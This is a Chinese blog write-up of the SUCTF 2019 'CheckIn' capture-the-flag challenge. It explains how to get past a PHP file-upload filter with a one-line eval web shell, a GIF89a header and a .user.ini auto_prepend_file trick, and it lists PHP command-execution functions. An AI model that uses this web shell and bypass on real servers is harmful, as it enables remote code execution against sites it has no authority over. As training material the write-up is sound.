当前位置:网站首页>[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
2022-06-23 09:14:00 【K00sec】
[SUCTF 2019]CheckIn
给了一个文件上传的按钮,肯定是文件上传漏洞相关的了。

先测试一下是不是黑名单,或者白名单。

看来对文件的内容进行了检查,不过没关系,这个内容检查可以绕,写一个简单的script脚本,用 php 解析脚本内容
<script language='php'>eval($_POST['cmd'])</script>

发现对文件头也有检查。对于 exif_imagetype 的功能记录一下
# exif_imagetype — 判断一个图像的类型
# 语法
exif_imagetype(string $filename): int
$filename 被检查的图像文件名。
# 返回值:如果发现了恰当的签名则返回一个对应的常量,否则返回 false
# exif_imagetype() 读取一个图像的第一个字节并检查其签名。
# 本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。
# 预定义的常量
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II(Intel 字节顺序)
8 IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM
成功上传文件了,但是后缀是不能被解析的,说明这是一个黑名单限制,php、phtml这些大部分被过滤了。

查了一下响应中的server,之前没看过这个服务,一查才知道,这个服务原来也是基于 NGINX 的。
OpenResty 介绍:
OpenResty(又称:ngx_openresty) 是一个基于 NGINX 的可伸缩的 Web 平台,由中国人章亦春发起,提供了很多高质量的第三方模块。
OpenResty 是一个强大的 Web 应用服务器,Web 开发人员可以使用 Lua 脚本语言调动 Nginx 支持的各种 C 以及 Lua 模块,更主要的是在性能方面,OpenResty可以 快速构造出足以胜任 10K 以上并发连接响应的超高性能 Web 应用系统。
360,UPYUN,阿里云,新浪,腾讯网,去哪儿网,酷狗音乐等都是 OpenResty 的深度用户。
---- 菜鸟教程
试试上传 .user.ini 文件。
# .xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件
# 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
# 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样
# 上传 .user.ini 文件内容
GIF89a # 绕过文件头检查(单独一行,否则规则会被错误识别)
# 二选一 就可以
auto_prepend_file=文件名 在页面顶部预加载文件
auto_append_file=文件名 在页面的底部预加载文件
成功上传 .user.ini 文件,接着上传 getshell.gif 文件。


验证是否可用

没有问题,直接找flag吧


用 scandir(); 不能用 scandir() ,区别在于分号结尾 。
# 代码 <script language="php">eval($_GET[cmd]);</script>
# eval() eval — 把字符串作为PHP代码执行;因此 eval 本身是没有命令执行的功能,只能执行php中的函数和代码。
#注意:
# eval() 函数不能执行含有 “<?php ?>” 开始/结束标签的代码, 除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
# php 文件系统常用函数
scandir — 列出指定路径中的文件和目录
getcwd — 取得当前工作目录
chdir — 改变目录
# php 命令执行函数
system — 执行外部程序,并且显示输出
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
边栏推荐
猜你喜欢
[nanopi2 trial experience] the first step of bare metal

学习SCI论文绘制技巧(F)

The sliding window of the force button "step by step" (209. sub array with the smallest length, 904. fruit basket)

微信小程序:点击按钮频繁切换,重叠自定义markers,但是值不改变

js 用**遮罩身份证以及手机号的重要数据
Redis learning notes - single key management
Redis学习笔记—发布订阅

In depth interpretation of poca smart contract platform gear: the road to parallel architecture public chain

Implementation of s5p4418 bare metal programming (replace 2ndboot)
Redis学习笔记—数据类型:字符串(string)
随机推荐
Redis学习笔记—单个键管理
Redis学习笔记—数据类型:字符串(string)
Redis学习笔记—客户端通讯协议RESP
Aiming at the overseas pet market, "grasshand" has developed an intelligent tracking product independent of mobile phones | early project
Redis learning notes - redis and Lua
@Response
UEFI 源码学习4.1 - PciHostBridgeDxe
Unity grid programming 06
Cookie和Session入门
Redis learning notes - data type: hash
S5P4418裸机编程的实现(替换2ndboot)
在小程序中实现视频通话及互动直播的一种方法
Custom tag - JSP tag Foundation
[GXYCTF2019]BabyUpload
Redis学习笔记—redis-benchmark详解
Redis learning notes - publish and subscribe
Which is better, semrush or ahrefs? Which is more suitable for GoogleSEO keyword analysis
Learn SCI thesis drawing skills (E)
Structure binary tree from preorder and inorder traversal for leetcode topic analysis
披萨订购设计----简单工厂模式